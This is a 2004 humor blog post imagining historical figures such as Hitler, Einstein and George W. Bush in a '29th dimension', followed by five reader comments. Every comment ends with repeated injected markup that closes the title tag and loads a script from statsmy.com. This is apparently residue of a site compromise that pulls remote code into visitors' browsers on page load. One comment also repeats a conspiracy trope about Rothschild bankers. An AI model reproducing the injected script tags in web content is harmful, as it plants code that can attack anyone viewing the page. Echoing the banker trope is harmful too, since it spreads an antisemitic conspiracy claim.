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Life in the 29th Dimension
by Mark on 5/7/2004 (5)

Hi Hitler!
A new multi-dimensional particle theory, called "String theory" suggests that hundreds of other physcial dimensions may exist right along side our own, perhaps as close as 1 millimeter away...

What would some of histories most brilliant and nefarious characters be like in a different dimension? Here's some ideas:

Adolph Hitler: The 29th dimensional Adolph, is an easy going, fun loving, cardigan sweatered pipe-smoking socialite, who is into chicks and really digs bowling. Having once bowled a perfect game, a banner on all of the bowling alley's 29 hyperdodecaoctahedron shaped walls reads 'Heil Hitler! perfect 27,000!'. Every time Adolph bowls a strike, the crowd roars 'Hi Hitler!' to get his attention, and he smiles and waves back.

Albert Einstein: Einstein's 29th Dimensional alter-ego is just as brilliant as ours, but is an ultra-zealous Creationist who hates technology. Arrested numerous times for vandalizing nuclear power plants, spray painting 'Edison sucks' in research labs and demolishing everything and anything scientific, the 29th dimensional Al posutlated something called 'The theory of unrelativity', where matter and energy are anti-equivalent, and, according to Einstein: "If God had vanted us to measure ze speed of light, He vould have given us really, really, really long legs!"

The CIA: Unlike our own CIA, the 29th Dimensional CIA is a neurotic, intrusive, unscrupulous bohemian organization that flaunts laws and convention for their own dubious, self-propagating, paranoid ambitions...uhhh, wait...I just described our own CIA. Next!

George W. Bush: Unlike our G.W.B, his 29th Dimensional counterpart is an articulate, intellectual titan, reknowned for his booming, seizing oratory and masterfull, prehensile powers of analysis and observation. Unlike his 3D earthly counterpart, he is not President of the United States however, but president of the Pawtucket senior bird watching club, spending his time "counting, getting interrupted with silly questions, and then counting some more."


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1. by feaglin on 3/1/2007 4:52:29 PM
Josef Stalin: Life took a strange twist for him when Trotsky did not fall ill when the Western Capitalist Rothschild bankers wanted him to become the Bolshevik dictator. Stalin took a carreer turn after this, he left politics, seeing which way the world was going now that Trotsky was firmly in power, and became a famous rock singer. He formed a band which had an unpronouncable Russian name and sang Russian Communist songs. The world was a fairly happy place, since there was no need for a WW2 to bring down Stalin, and Hilter being a bowling champ. No-one even noticed the final push to the NWO and the world became a fascist super stateone </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
2. by feaglin on 3/1/2007 4:52:29 PM
of course, after Stalin came out of the closet confessing that he was a homosexual, he went solo and started to sing in English as well. Breaking taboos and scoring hits with classics such as 'When your moustache touches mine' and 'You know where I like that', he eventually had to go underground when government censorship became ever more rampant. He now made a living performing on exclusive elitist parties, for the elite, as everyone knows, do not have to abide by the laws they make themselves.u </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
3. by Kris on 3/1/2007 4:52:29 PM
I wish I lived in the 29th dimension, I bet they have flying cars there.n.r </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
4. by Mark Motz on 3/1/2007 4:52:29 PM
I had a flying car..it was called a Pinto!h="0"< </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
5. by Kris on 3/1/2007 4:52:29 PM
I thought those were known for exploding, not flying... though I suppose they could send the occupant flying after exploding.isp </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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